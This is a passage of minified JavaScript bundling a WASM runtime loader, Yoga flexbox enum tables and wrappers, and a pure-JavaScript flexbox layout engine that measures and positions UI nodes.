p3=q._malloc=function(){return(p3=q._malloc=q.asm.I).apply(null,arguments)},b5=q._free=function(){return(b5=q._free=q.asm.K).apply(null,arguments)};q.dynCall_jiji=function(){return(q.dynCall_jiji=q.asm.L).apply(null,arguments)};var W3;d=function NA(){W3||q1(),W3||(d=NA)};function q1(){function NA(){if(!W3&&(W3=!0,q.calledRun=!0,!G)){if(_A(B),Y(q),q.onRuntimeInitialized)q.onRuntimeInitialized();if(q.postRun)for(typeof q.postRun=="function"&&(q.postRun=[q.postRun]);q.postRun.length;){var ZA=q.postRun.shift();b.unshift(ZA)}_A(b)}}if(!(0<Q)){if(q.preRun)for(typeof q.preRun=="function"&&(q.preRun=[q.preRun]);q.preRun.length;)F();_A(y),0<Q||(q.setStatus?(q.setStatus("Running..."),setTimeout(function(){setTimeout(function(){q.setStatus("")},1),NA()},1)):NA())}}if(q.preInit)for(typeof q.preInit=="function"&&(q.preInit=[q.preInit]);0<q.preInit.length;)q.preInit.pop()();return q1(),K.ready}})(),SO4=Es3});var tX,bO4,xO4,X4A,$4A,Y_,MXA,ks3,yQ,_4A,vT,PXA,VXA,uO4,s76,fXA,Ly,G4A,Cs3,BO4;var D51=k(()=>{tX=function(A){return A[A.Auto=0]="Auto",A[A.FlexStart=1]="FlexStart",A[A.Center=2]="Center",A[A.FlexEnd=3]="FlexEnd",A[A.Stretch=4]="Stretch",A[A.Baseline=5]="Baseline",A[A.SpaceBetween=6]="SpaceBetween",A[A.SpaceAround=7]="SpaceAround",A[A.SpaceEvenly=8]="SpaceEvenly",A}({}),bO4=function(A){return A[A.BorderBox=0]="BorderBox",A[A.ContentBox=1]="ContentBox",A}({}),xO4=function(A){return A[A.Width=0]="Width",A[A.Height=1]="Height",A}({}),X4A=function(A){return A[A.Inherit=0]="Inherit",A[A.LTR=1]="LTR",A[A.RTL=2]="RTL",A}({}),$4A=function(A){return A[A.Flex=0]="Flex",A[A.None=1]="None",A[A.Contents=2]="Contents",A}({}),Y_=function(A){return A[A.Left=0]="Left",A[A.Top=1]="Top",A[A.Right=2]="Right",A[A.Bottom=3]="Bottom",A[A.Start=4]="Start",A[A.End=5]="End",A[A.Horizontal=6]="Horizontal",A[A.Vertical=7]="Vertical",A[A.All=8]="All",A}({}),MXA=function(A){return A[A.None=0]="None",A[A.StretchFlexBasis=1]="StretchFlexBasis",A[A.AbsolutePositionWithoutInsetsExcludesPadding=2]="AbsolutePositionWithoutInsetsExcludesPadding",A[A.AbsolutePercentAgainstInnerSize=4]="AbsolutePercentAgainstInnerSize",A[A.All=2147483647]="All",A[A.Classic=2147483646]="Classic",A}({}),ks3=function(A){return A[A.WebFlexBasis=0]="WebFlexBasis",A}({}),yQ=function(A){return A[A.Column=0]="Column",A[A.ColumnReverse=1]="ColumnReverse",A[A.Row=2]="Row",A[A.RowReverse=3]="RowReverse",A}({}),_4A=function(A){return A[A.Column=0]="Column",A[A.Row=1]="Row",A[A.All=2]="All",A}({}),vT=function(A){return A[A.FlexStart=0]="FlexStart",A[A.Center=1]="Center",A[A.FlexEnd=2]="FlexEnd",A[A.SpaceBetween=3]="SpaceBetween",A[A.SpaceAround=4]="SpaceAround",A[A.SpaceEvenly=5]="SpaceEvenly",A}({}),PXA=function(A){return A[A.Error=0]="Error",A[A.Warn=1]="Warn",A[A.Info=2]="Info",A[A.Debug=3]="Debug",A[A.Verbose=4]="Verbose",A[A.Fatal=5]="Fatal",A}({}),VXA=function(A){return A[A.Undefined=0]="Undefined",A[A.Exactly=1]="Exactly",A[A.AtMost=2]="AtMost",A}({}),uO4=function(A){return A[A.Default=0]="Default",A[A.Text=1]="Text",A}({}),s76=function(A){return A[A.Visible=0]="Visible",A[A.Hidden=1]="Hidden",A[A.Scroll=2]="Scroll",A}({}),fXA=function(A){return A[A.Static=0]="Static",A[A.Relative=1]="Relative",A[A.Absolute=2]="Absolute",A}({}),Ly=function(A){return A[A.Undefined=0]="Undefined",A[A.Point=1]="Point",A[A.Percent=2]="Percent",A[A.Auto=3]="Auto",A}({}),G4A=function(A){return A[A.NoWrap=0]="NoWrap",A[A.Wrap=1]="Wrap",A[A.WrapReverse=2]="WrapReverse",A}({}),Cs3={ALIGN_AUTO:tX.Auto,ALIGN_FLEX_START:tX.FlexStart,ALIGN_CENTER:tX.Center,ALIGN_FLEX_END:tX.FlexEnd,ALIGN_STRETCH:tX.Stretch,ALIGN_BASELINE:tX.Baseline,ALIGN_SPACE_BETWEEN:tX.SpaceBetween,ALIGN_SPACE_AROUND:tX.SpaceAround,ALIGN_SPACE_EVENLY:tX.SpaceEvenly,BOX_SIZING_BORDER_BOX:bO4.BorderBox,BOX_SIZING_CONTENT_BOX:bO4.ContentBox,DIMENSION_WIDTH:xO4.Width,DIMENSION_HEIGHT:xO4.Height,DIRECTION_INHERIT:X4A.Inherit,DIRECTION_LTR:X4A.LTR,DIRECTION_RTL:X4A.RTL,DISPLAY_FLEX:$4A.Flex,DISPLAY_NONE:$4A.None,DISPLAY_CONTENTS:$4A.Contents,EDGE_LEFT:Y_.Left,EDGE_TOP:Y_.Top,EDGE_RIGHT:Y_.Right,EDGE_BOTTOM:Y_.Bottom,EDGE_START:Y_.Start,EDGE_END:Y_.End,EDGE_HORIZONTAL:Y_.Horizontal,EDGE_VERTICAL:Y_.Vertical,EDGE_ALL:Y_.All,ERRATA_NONE:MXA.None,ERRATA_STRETCH_FLEX_BASIS:MXA.StretchFlexBasis,ERRATA_ABSOLUTE_POSITION_WITHOUT_INSETS_EXCLUDES_PADDING:MXA.AbsolutePositionWithoutInsetsExcludesPadding,ERRATA_ABSOLUTE_PERCENT_AGAINST_INNER_SIZE:MXA.AbsolutePercentAgainstInnerSize,ERRATA_ALL:MXA.All,ERRATA_CLASSIC:MXA.Classic,EXPERIMENTAL_FEATURE_WEB_FLEX_BASIS:ks3.WebFlexBasis,FLEX_DIRECTION_COLUMN:yQ.Column,FLEX_DIRECTION_COLUMN_REVERSE:yQ.ColumnReverse,FLEX_DIRECTION_ROW:yQ.Row,FLEX_DIRECTION_ROW_REVERSE:yQ.RowReverse,GUTTER_COLUMN:_4A.Column,GUTTER_ROW:_4A.Row,GUTTER_ALL:_4A.All,JUSTIFY_FLEX_START:vT.FlexStart,JUSTIFY_CENTER:vT.Center,JUSTIFY_FLEX_END:vT.FlexEnd,JUSTIFY_SPACE_BETWEEN:vT.SpaceBetween,JUSTIFY_SPACE_AROUND:vT.SpaceAround,JUSTIFY_SPACE_EVENLY:vT.SpaceEvenly,LOG_LEVEL_ERROR:PXA.Error,LOG_LEVEL_WARN:PXA.Warn,LOG_LEVEL_INFO:PXA.Info,LOG_LEVEL_DEBUG:PXA.Debug,LOG_LEVEL_VERBOSE:PXA.Verbose,LOG_LEVEL_FATAL:PXA.Fatal,MEASURE_MODE_UNDEFINED:VXA.Undefined,MEASURE_MODE_EXACTLY:VXA.Exactly,MEASURE_MODE_AT_MOST:VXA.AtMost,NODE_TYPE_DEFAULT:uO4.Default,NODE_TYPE_TEXT:uO4.Text,OVERFLOW_VISIBLE:s76.Visible,OVERFLOW_HIDDEN:s76.Hidden,OVERFLOW_SCROLL:s76.Scroll,POSITION_TYPE_STATIC:fXA.Static,POSITION_TYPE_RELATIVE:fXA.Relative,POSITION_TYPE_ABSOLUTE:fXA.Absolute,UNIT_UNDEFINED:Ly.Undefined,UNIT_POINT:Ly.Point,UNIT_PERCENT:Ly.Percent,UNIT_AUTO:Ly.Auto,WRAP_NO_WRAP:G4A.NoWrap,WRAP_WRAP:G4A.Wrap,WRAP_WRAP_REVERSE:G4A.WrapReverse},BO4=Cs3});function t76(A){function K(z,w,H){let J=z[w];z[w]=function(){for(var O=arguments.length,X=Array(O),$=0;$<O;$++)X[$]=arguments[$];return H.call(this,J,...X)}}for(let z of["setPosition","setMargin","setFlexBasis","setWidth","setHeight","setMinWidth","setMinHeight","setMaxWidth","setMaxHeight","setPadding","setGap"]){let w={[Ly.Point]:A.Node.prototype[z],[Ly.Percent]:A.Node.prototype[`${z}Percent`],[Ly.Auto]:A.Node.prototype[`${z}Auto`]};K(A.Node.prototype,z,function(H){for(var J=arguments.length,O=Array(J>1?J-1:0),X=1;X<J;X++)O[X-1]=arguments[X];let $=O.pop(),_,G;if($==="auto")_=Ly.Auto,G=void 0;else if(typeof $==="object")_=$.unit,G=$.valueOf();else if(_=typeof $==="string"&&$.endsWith("%")?Ly.Percent:Ly.Point,G=parseFloat($),$!==void 0&&!Number.isNaN($)&&Number.isNaN(G))throw Error(`Invalid value ${$} for ${z}`);if(!w[_])throw Error(`Failed to execute "${z}": Unsupported unit '${$}'`);if(G!==void 0)return w[_].call(this,...O,G);else return w[_].call(this,...O)})}function q(z){return A.MeasureCallback.implement({measure:function(){let{width:w,height:H}=z(...arguments);return{width:w??NaN,height:H??NaN}}})}K(A.Node.prototype,"setMeasureFunc",function(z,w){if(w)return z.call(this,q(w));else return this.unsetMeasureFunc()});function Y(z){return A.DirtiedCallback.implement({dirtied:z})}return K(A.Node.prototype,"setDirtiedFunc",function(z,w){z.call(this,Y(w))}),K(A.Config.prototype,"free",function(){A.Config.destroy(this)}),K(A.Node,"create",(z,w)=>{return w?A.Node.createWithConfig(w):A.Node.createDefault()}),K(A.Node.prototype,"free",function(){A.Node.destroy(this)}),K(A.Node.prototype,"freeRecursive",function(){for(let z=0,w=this.getChildCount();z<w;++z)this.getChild(0).freeRecursive();this.free()}),K(A.Node.prototype,"calculateLayout",function(z){let w=arguments.length>1&&arguments[1]!==void 0?arguments[1]:NaN,H=arguments.length>2&&arguments[2]!==void 0?arguments[2]:NaN,J=arguments.length>3&&arguments[3]!==void 0?arguments[3]:X4A.LTR;return z.call(this,w,H,J)}),{Config:A.Config,Node:A.Node,...BO4}}var mO4=k(()=>{D51();D51()});async function gO4(){return t76(await SO4())}var FO4=k(()=>{hO4();mO4();D51()});class e76{yoga;constructor(A){this.yoga=A}insertChild(A,K){this.yoga.insertChild(A.yoga,K)}removeChild(A){this.yoga.removeChild(A.yoga)}getChildCount(){return this.yoga.getChildCount()}getParent(){let A=this.yoga.getParent();return A?new e76(A):null}calculateLayout(A,K){this.yoga.calculateLayout(A,void 0,X4A.LTR)}setMeasureFunc(A){this.yoga.setMeasureFunc((K,q)=>{let Y=q===VXA.Exactly?RQ.Exactly:q===VXA.AtMost?RQ.AtMost:RQ.Undefined;return A(K,Y)})}unsetMeasureFunc(){this.yoga.unsetMeasureFunc()}markDirty(){this.yoga.markDirty()}getComputedLeft(){return this.yoga.getComputedLeft()}getComputedTop(){return this.yoga.getComputedTop()}getComputedWidth(){return this.yoga.getComputedWidth()}getComputedHeight(){return this.yoga.getComputedHeight()}getComputedBorder(A){return this.yoga.getComputedBorder(yyA[A])}getComputedPadding(A){return this.yoga.getComputedPadding(yyA[A])}setWidth(A){this.yoga.setWidth(A)}setWidthPercent(A){this.yoga.setWidthPercent(A)}setWidthAuto(){this.yoga.setWidthAuto()}setHeight(A){this.yoga.setHeight(A)}setHeightPercent(A){this.yoga.setHeightPercent(A)}setHeightAuto(){this.yoga.setHeightAuto()}setMinWidth(A){this.yoga.setMinWidth(A)}setMinWidthPercent(A){this.yoga.setMinWidthPercent(A)}setMinHeight(A){this.yoga.setMinHeight(A)}setMinHeightPercent(A){this.yoga.setMinHeightPercent(A)}setMaxWidth(A){this.yoga.setMaxWidth(A)}setMaxWidthPercent(A){this.yoga.setMaxWidthPercent(A)}setMaxHeight(A){this.yoga.setMaxHeight(A)}setMaxHeightPercent(A){this.yoga.setMaxHeightPercent(A)}setFlexDirection(A){let K={row:yQ.Row,"row-reverse":yQ.RowReverse,column:yQ.Column,"column-reverse":yQ.ColumnReverse};this.yoga.setFlexDirection(K[A])}setFlexGrow(A){this.yoga.setFlexGrow(A)}setFlexShrink(A){this.yoga.setFlexShrink(A)}setFlexBasis(A){this.yoga.setFlexBasis(A)}setFlexBasisPercent(A){this.yoga.setFlexBasisPercent(A)}setFlexWrap(A){let K={nowrap:G4A.NoWrap,wrap:G4A.Wrap,"wrap-reverse":G4A.WrapReverse};this.yoga.setFlexWrap(K[A])}setAlignItems(A){let K={auto:tX.Auto,stretch:tX.Stretch,"flex-start":tX.FlexStart,center:tX.Center,"flex-end":tX.FlexEnd};this.yoga.setAlignItems(K[A])}setAlignSelf(A){let K={auto:tX.Auto,stretch:tX.Stretch,"flex-start":tX.FlexStart,center:tX.Center,"flex-end":tX.FlexEnd};this.yoga.setAlignSelf(K[A])}setJustifyContent(A){let K={"flex-start":vT.FlexStart,center:vT.Center,"flex-end":vT.FlexEnd,"space-between":vT.SpaceBetween,"space-around":vT.SpaceAround,"space-evenly":vT.SpaceEvenly};this.yoga.setJustifyContent(K[A])}setDisplay(A){this.yoga.setDisplay(A==="flex"?$4A.Flex:$4A.None)}getDisplay(){return this.yoga.getDisplay()===$4A.None?BV.None:BV.Flex}setPositionType(A){this.yoga.setPositionType(A==="absolute"?fXA.Absolute:fXA.Relative)}setMargin(A,K){this.yoga.setMargin(yyA[A],K)}setPadding(A,K){this.yoga.setPadding(yyA[A],K)}setBorder(A,K){this.yoga.setBorder(yyA[A],K)}setGap(A,K){this.yoga.setGap(Ls3[A],K)}free(){this.yoga.free()}freeRecursive(){this.yoga.freeRecursive()}}async function QO4(){if(j51)return;j51=await gO4()}function UO4(){if(!j51)throw Error("Yoga not loaded");return new e76(j51.Node.create())}var yyA,Ls3,j51;var pO4=k(()=>{FO4();Yr();yyA={all:Y_.All,horizontal:Y_.Horizontal,vertical:Y_.Vertical,left:Y_.Left,right:Y_.Right,top:Y_.Top,bottom:Y_.Bottom,start:Y_.Start,end:Y_.End},Ls3={all:_4A.All,column:_4A.Column,row:_4A.Row}});function IyA(A,K){return{top:A.top+K.top,right:A.right+K.right,bottom:A.bottom+K.bottom,left:A.left+K.left}}function SyA(A,K){let q=Math.min(A.x,K.x),Y=Math.min(A.y,K.y),z=Math.max(A.x+A.width,K.x+K.width),w=Math.max(A.y+A.height,K.y+K.height);return{x:q,y:Y,width:z-q,height:w-Y}}function M51(A,K,q){if(K!==void 0&&A<K)return K;if(q!==void 0&&A>q)return q;return A}var AK6=()=>{};function KK6(A){return{type:"fixed",value:A}}function qK6(A){return{type:"percent",value:A}}var Sx;var dO4=k(()=>{AK6();Sx=class Sx{style;measureFunc;children=[];parent=null;layout={x:0,y:0,width:0,height:0};dirty=!0;lastConstraints=null;constructor(A={},K){this.style=A,this.measureFunc=K??null}appendChild(A){A.parent=this,this.children.push(A),this.markDirty()}insertChild(A,K){A.parent=this,this.children.splice(K,0,A),this.markDirty()}removeChild(A){let K=this.children.indexOf(A);if(K!==-1)A.parent=null,this.children.splice(K,1),this.markDirty()}markDirty(){if(this.dirty)return;this.dirty=!0,this.parent?.markDirty()}calculateLayout(A,K){this.measureNode(A,K),this.layout.x=0,this.layout.y=0,this.positionChildren(),this.dirty=!1}measureNode(A,K){let q=this.lastConstraints!==null&&this.lastConstraints.width===A&&this.lastConstraints.height===K;if(!this.dirty&&q)return;this.lastConstraints={width:A,height:K};let{style:Y}=this,z=this.getPadding(),w=this.getBorder(),H=IyA(z,w),J=this.resolveDimension(Y.width,A,Y.minWidth,Y.maxWidth);if(J===void 0&&!Y.width&&A!==void 0&&!this.parent)J=A;let O=this.resolveDimension(Y.height,K,Y.minHeight,Y.maxHeight);if(this.measureFunc&&this.children.length===0){let X=J??A,$=X!==void 0?X-H.left-H.right:void 0,_=O!==void 0?O-H.top-H.bottom:void 0,G=this.measureFunc($,_);if(J===void 0)J=G.width+H.left+H.right;if(O===void 0)O=G.height+H.top+H.bottom}if(this.children.length>0){let X=this.measureChildren(J??A,O,H);if(J===void 0)J=X.contentWidth+H.left+H.right;if(O===void 0)O=X.contentHeight+H.top+H.bottom}J=M51(J??H.left+H.right,Y.minWidth,Y.maxWidth),O=M51(O??H.top+H.bottom,Y.minHeight,Y.maxHeight),this.layout.width=J,this.layout.height=O,this.dirty=!1}measureChildren(A,K,q){let{style:Y,children:z}=this,w=Y.flexDirection??"column",H=w==="row"||w==="row-reverse",O=(Y.flexWrap??"nowrap")!=="nowrap",X=H?Y.columnGap??Y.gap??0:Y.rowGap??Y.gap??0,$=H?Y.rowGap??Y.gap??0:Y.columnGap??Y.gap??0,_=X,Z=z.filter((R)=>!R.isHidden()).filter((R)=>!R.isAbsolute()),W=A!==void 0?A-q.left-q.right:void 0,D=K!==void 0?K-q.top-q.bottom:void 0,j=0,M=0,P=0,f=[];for(let R of Z){let x=this.getGrowFactor(R,H);P+=x;let y=R.getMargin(),B=H?y.left+y.right:y.top+y.bottom,b=H?y.top+y.bottom:y.left+y.right;R.measureNode(W,D);let F=(H?R.layout.height:R.layout.width)+b,Q;if(R.style.flexBasis!==void 0){let u=R.style.flexBasis;if(H)R.layout.width=u;else R.layout.height=u;Q=u+B}else if(x>0)if((H?W:D)!==void 0){if(H)R.layout.width=0;else R.layout.height=0;Q=B}else Q=(H?R.layout.width:R.layout.height)+B;else Q=(H?R.layout.width:R.layout.height)+B;f.push({main:Q,cross:F,grow:x}),j+=Q,M=Math.max(M,F)}let N=Z.length>1?_*(Z.length-1):0,T=H?W:D,C=j+N;if(T!==void 0&&P>0){let R=Math.max(0,T-j-N),x=0,y=0;for(let B=0;B<Z.length;B++){let b=Z[B],F=f[B];if(F.grow>0){y+=F.grow;let Q=Math.round(R*y/P),u=Q-x;x=Q;let r=(H?b.layout.width:b.layout.height)+u;if(H)b.layout.width=r;else b.layout.height=r;let c=b.getMargin(),YA=H?c.left+c.right:c.top+c.bottom;f[B]={main:r+YA,cross:F.cross,grow:F.grow}}}C=T}if(T!==void 0&&C>T){let R=C-T,x=Z.map((B,b)=>{let F=B.style.flexShrink??0,Q=H?B.layout.width:B.layout.height,u=H?B.style.minWidth??0:B.style.minHeight??0;return{index:b,child:B,shrinkFactor:F,currentSize:Q,minSize:u,canShrink:F>0&&Q>u}}),y=0;for(let B of x)if(B.canShrink)y+=B.currentSize*B.shrinkFactor;if(y>0){let B=0,b=0;for(let F of x){if(!F.canShrink)continue;let Q=F.currentSize*F.shrinkFactor;b+=Q;let d=Math.round(R*b/y)-B,r=F.currentSize-F.minSize;if(d>r)d=r;if(B+=d,F.currentSize-=d,H)F.child.layout.width=F.currentSize;else F.child.layout.height=F.currentSize;let c=F.child.getMargin(),YA=H?c.left+c.right:c.top+c.bottom;f[F.index]={main:F.currentSize+YA,cross:f[F.index].cross,grow:f[F.index].grow}}}C=N;for(let B of f)C+=B.main}if(O&&Z.length>0){let R=H?W:D,x=this.calculateFlexLines(Z,R,H,X),y=0,B=0;for(let b=0;b<x.length;b++){let F=x[b];y=Math.max(y,F.mainSize),B+=F.crossSize+(b>0?$:0)}return{contentWidth:H?y:B,contentHeight:H?B:y}}return{contentWidth:H?C:M,contentHeight:H?M:C}}positionChildren(){let{style:A,children:K,layout:q}=this;if(K.length===0)return;let Y=K.filter((b)=>!b.isHidden()),z=Y.filter((b)=>!b.isAbsolute()),w=Y.filter((b)=>b.isAbsolute()),H=IyA(this.getPadding(),this.getBorder()),J=q.width-H.left-H.right,O=q.height-H.top-H.bottom;for(let b of w){b.measureNode(J,O);let F;if(b.style.left!==void 0)F=q.x+H.left+b.style.left;else if(b.style.right!==void 0)F=q.x+H.left+J-b.layout.width-b.style.right;else F=q.x+H.left;let Q;if(b.style.top!==void 0)Q=q.y+H.top+b.style.top;else if(b.style.bottom!==void 0)Q=q.y+H.top+O-b.layout.height-b.style.bottom;else Q=q.y+H.top;b.layout.x=F,b.layout.y=Q,b.positionChildren()}if(z.length===0)return;let X=A.flexDirection??"column",$=A.alignItems??"stretch",_=A.justifyContent??"start",G=X==="row"||X==="row-reverse",Z=A.flexWrap??"nowrap",W=Z!=="nowrap",D=G?A.columnGap??A.gap??0:A.rowGap??A.gap??0,j=G?A.rowGap??A.gap??0:A.columnGap??A.gap??0,M=D,P=X==="row-reverse"||X==="column-reverse";if(W){this.positionWrappedChildren(z,q,H,J,O,G,Z,$,_,D,j,P);return}let f=0;for(let b of z){let F=b.getMargin(),Q=G?F.left+F.right:F.top+F.bottom;f+=(G?b.layout.width:b.layout.height)+Q}if(z.length>1)f+=M*(z.length-1);let N=G?J:O,T=N-f,C=P?_==="start"?"end":_==="end"?"start":_:_,R=P&&(_==="space-between"||_==="space-around"||_==="space-evenly"),x=P&&!R?[...z].reverse():z,y=0;switch(C){case"start":y=0;break;case"center":y=Math.round(T/2);break;case"end":y=T;break;case"space-between":y=0;break;case"space-around":case"space-evenly":break}if(R){let b=z.length,F=Math.max(0,T);for(let Q=0;Q<b;Q++){let u=z[Q],d=u.getMargin(),r=G?u.layout.width:u.layout.height,c=G?u.layout.height:u.layout.width,YA=G?O:J,e=G?d.top:d.left,qA=G?d.bottom:d.right,HA=G?d.right:d.bottom,_A;if(_==="space-between"&&b>1)_A=Math.round(F*Q/(b-1));else if(_==="space-around"){let yA=b*2,AA=Q*2+1;_A=Math.round(F*AA/yA)}else _A=Math.round(F*(Q+1)/(b+1));let a=0;for(let yA=0;yA<Q;yA++){let AA=z[yA],wA=AA.getMargin(),GA=G?wA.left+wA.right:wA.top+wA.bottom;a+=G?AA.layout.width:AA.layout.height,a+=GA+M}let JA=N-_A-a-r-HA,jA=u.style.alignSelf&&u.style.alignSelf!=="auto"?u.style.alignSelf:$,MA=e+c+qA,hA=e;switch(jA){case"start":hA=e;break;case"center":hA=Math.round((YA-MA)/2)+e;break;case"end":hA=YA-c-qA;break;case"stretch":{if(hA=e,!(G?u.style.height?.type==="fixed":u.style.width?.type==="fixed"))Sx.stretchChild(u,G,YA-e-qA);break}}if(G)u.layout.x=q.x+H.left+JA,u.layout.y=q.y+H.top+hA;else u.layout.x=q.x+H.left+hA,u.layout.y=q.y+H.top+JA;u.positionChildren()}return}let B=y;for(let b=0;b<x.length;b++){let F=x[b],Q=F.getMargin(),u=G?F.layout.width:F.layout.height,d=G?F.layout.height:F.layout.width,r=G?O:J,c=G?Q.left:Q.top,YA=G?Q.right:Q.bottom,e=G?Q.top:Q.left,qA=G?Q.bottom:Q.right,HA=Math.max(0,T);if(C==="space-between"&&x.length>1){B=Math.round(HA*b/(x.length-1));for(let jA=0;jA<b;jA++){let MA=x[jA],hA=MA.getMargin(),yA=G?hA.left+hA.right:hA.top+hA.bottom;B+=G?MA.layout.width:MA.layout.height,B+=yA+M}}else if(C==="space-around"){let jA=x.length*2,MA=b*2+1;B=Math.round(HA*MA/jA);for(let hA=0;hA<b;hA++){let yA=x[hA],AA=yA.getMargin(),wA=G?AA.left+AA.right:AA.top+AA.bottom;B+=G?yA.layout.width:yA.layout.height,B+=wA+M}}else if(C==="space-evenly"){let jA=x.length+1;B=Math.round(HA*(b+1)/jA);for(let MA=0;MA<b;MA++){let hA=x[MA],yA=hA.getMargin(),AA=G?yA.left+yA.right:yA.top+yA.bottom;B+=G?hA.layout.width:hA.layout.height,B+=AA+M}}let _A=F.style.alignSelf&&F.style.alignSelf!=="auto"?F.style.alignSelf:$,a=e+d+qA,JA=e;switch(_A){case"start":JA=e;break;case"center":JA=Math.round((r-a)/2)+e;break;case"end":JA=r-d-qA;break;case"stretch":{if(JA=e,!(G?F.style.height?.type==="fixed":F.style.width?.type==="fixed"))Sx.stretchChild(F,G,r-e-qA);break}}if(G)F.layout.x=q.x+H.left+B+c,F.layout.y=q.y+H.top+JA;else F.layout.x=q.x+H.left+JA,F.layout.y=q.y+H.top+B+c;if(F.positionChildren(),C==="start"||C==="center"||C==="end")B+=u+c+YA+M}}resolveDimension(A,K,q,Y){if(!A)return;let z;switch(A.type){case"fixed":z=A.value;break;case"percent":z=K!==void 0?K*A.value/100:void 0;break;case"fit":case"grow":z=void 0;break}return z!==void 0?M51(z,q,Y):void 0}static stretchChild(A,K,q){if(K){let Y=q!==A.layout.height;if(A.layout.height=q,Y&&A.children.length>0){let z=IyA(A.getPadding(),A.getBorder());A.measureChildren(A.layout.width,q,z)}}else{let Y=q!==A.layout.width;if(A.layout.width=q,Y&&A.children.length>0){let z=IyA(A.getPadding(),A.getBorder());A.measureChildren(q,A.layout.height,z)}}}getGrowFactor(A,K){if(A.style.flexGrow!==void 0)return A.style.flexGrow;let q=K?A.style.width:A.style.height;if(q?.type==="grow")return q.factor;return 0}static ZERO={top:0,right:0,bottom:0,left:0};getPadding(){return this.style.padding??Sx.ZERO}getMargin(){return this.style.margin??Sx.ZERO}getBorder(){return this.style.border??Sx.ZERO}isHidden(){return this.style.display==="none"}isAbsolute(){return this.style.position==="absolute"}positionWrappedChildren(A,K,q,Y,z,w,H,J,O,X,$,_){let G=w?Y:z,Z=w?z:Y,W=this.calculateFlexLines(A,G,w,X);if(H==="wrap-reverse")W.reverse();let D=0;for(let M=0;M<W.length;M++)D+=W[M].crossSize+(M>0?$:0);let j=0;if(H==="wrap-reverse")j=Z-D;for(let M=0;M<W.length;M++){let P=W[M],f=G-P.mainSize,N=_?O==="start"?"end":O==="end"?"start":O:O,T=0;switch(N){case"start":T=0;break;case"center":T=Math.round(f/2);break;case"end":T=f;break;case"space-between":case"space-around":case"space-evenly":break}let C=_?[...P.children].reverse():P.children,R=T;for(let x=0;x<C.length;x++){let y=C[x],B=y.getMargin(),b=w?y.layout.width:y.layout.height,F=w?y.layout.height:y.layout.width,Q=w?B.left:B.top,u=w?B.right:B.bottom,d=w?B.top:B.left,r=w?B.bottom:B.right,c=Math.max(0,f),YA=C.length;if(N==="space-between"&&YA>1){R=Math.round(c*x/(YA-1));for(let _A=0;_A<x;_A++){let a=C[_A],JA=a.getMargin(),jA=w?JA.left+JA.right:JA.top+JA.bottom;R+=w?a.layout.width:a.layout.height,R+=jA+X}}else if(N==="space-around"){let _A=YA*2,a=x*2+1;R=Math.round(c*a/_A);for(let JA=0;JA<x;JA++){let jA=C[JA],MA=jA.getMargin(),hA=w?MA.left+MA.right:MA.top+MA.bottom;R+=w?jA.layout.width:jA.layout.height,R+=hA+X}}else if(N==="space-evenly"){let _A=YA+1;R=Math.round(c*(x+1)/_A);for(let a=0;a<x;a++){let JA=C[a],jA=JA.getMargin(),MA=w?jA.left+jA.right:jA.top+jA.bottom;R+=w?JA.layout.width:JA.layout.height,R+=MA+X}}let e=y.style.alignSelf&&y.style.alignSelf!=="auto"?y.style.alignSelf:J,qA=d+F+r,HA=d;switch(e){case"start":HA=d;break;case"center":HA=Math.round((P.crossSize-qA)/2)+d;break;case"end":HA=P.crossSize-F-r;break;case"stretch":{if(HA=d,!(w?y.style.height?.type==="fixed":y.style.width?.type==="fixed"))Sx.stretchChild(y,w,P.crossSize-d-r);break}}if(w)y.layout.x=K.x+q.left+R+Q,y.layout.y=K.y+q.top+j+HA;else y.layout.x=K.x+q.left+j+HA,y.layout.y=K.y+q.top+R+Q;if(y.positionChildren(),N==="start"||N==="center"||N==="end")R+=b+Q+u+X}j+=P.crossSize+$}}calculateFlexLines(A,K,q,Y){if(!((this.style.flexWrap??"nowrap")!=="nowrap"&&K!==void 0)||A.length===0){let $=0,_=0;for(let G=0;G<A.length;G++){let Z=A[G],W=Z.getMargin(),D=q?W.left+W.right:W.top+W.bottom,j=q?W.top+W.bottom:W.left+W.right,M=(q?Z.layout.width:Z.layout.height)+D,P=(q?Z.layout.height:Z.layout.width)+j;$+=M+(G>0?Y:0),_=Math.max(_,P)}return[{children:A,mainSize:$,crossSize:_}]}let H=[],J=[],O=0,X=0;for(let $ of A){let _=$.getMargin(),G=q?_.left+_.right:_.top+_.bottom,Z=q?_.top+_.bottom:_.left+_.right,W=(q?$.layout.width:$.layout.height)+G,D=(q?$.layout.height:$.layout.width)+Z,j=J.length>0?Y:0;if(J.length>0&&O+j+W>K)H.push({children:J,mainSize:O,crossSize:X}),J=[$],O=W,X=D;else J.push($),O+=j+W,X=Math.max(X,D)}if(J.length>0)H.push({children:J,mainSize:O,crossSize:X});return H}}});class lO4{node;mutableStyle={};measureFunc=null;parentAdapter=null;childAdapters=[];constructor(){this.node=new Sx({})}insertChild(A,K){let q=A;q.parentAdapter=this,this.childAdapters.splice(K,0,q),this.node.insertChild(q.node,K)}removeChild(A){let K=A;K.parentAdapter=null;let q=this.childAdapters.indexOf(K);if(q!==-1)this.childAdapters.splice(q,1);this.node.removeChild(K.node)}getChildCount(){return this.childAdapters.length}getParent(){return this.parentAdapter}calculateLayout(A,K){this.syncStyleTree(),this.node.calculateLayout(A,void 0)}setMeasureFunc(A){this.measureFunc=A}unsetMeasureFunc(){this.measureFunc=null}markDirty(){this.node.markDirty()}getComputedLeft(){let A=this.parentAdapter?.node.layout.x??0;return this.node.layout.x-A}getComputedTop(){let A=this.parentAdapter?.node.layout.y??0;return this.node.layout.y-A}getComputedWidth(){return this.node.layout.width}getComputedHeight(){return this.node.layout.height}getComputedBorder(A){let K=this.mutableStyle.border;if(!K)return 0;switch(A){case O3.Left:return K.left;case O3.Right:return K.right;case O3.Top:return K.top;case O3.Bottom:return K.bottom;default:return 0}}getComputedPadding(A){let K=this.mutableStyle.padding;if(!K)return 0;switch(A){case O3.Left:return K.left;case O3.Right:return K.right;case O3.Top:return K.top;case O3.Bottom:return K.bottom;default:return 0}}setWidth(A){this.mutableStyle.width=KK6(A)}setWidthPercent(A){this.mutableStyle.width=qK6(A)}setWidthAuto(){this.mutableStyle.width=void 0}setHeight(A){this.mutableStyle.height=KK6(A)}setHeightPercent(A){this.mutableStyle.height=qK6(A)}setHeightAuto(){this.mutableStyle.height=void 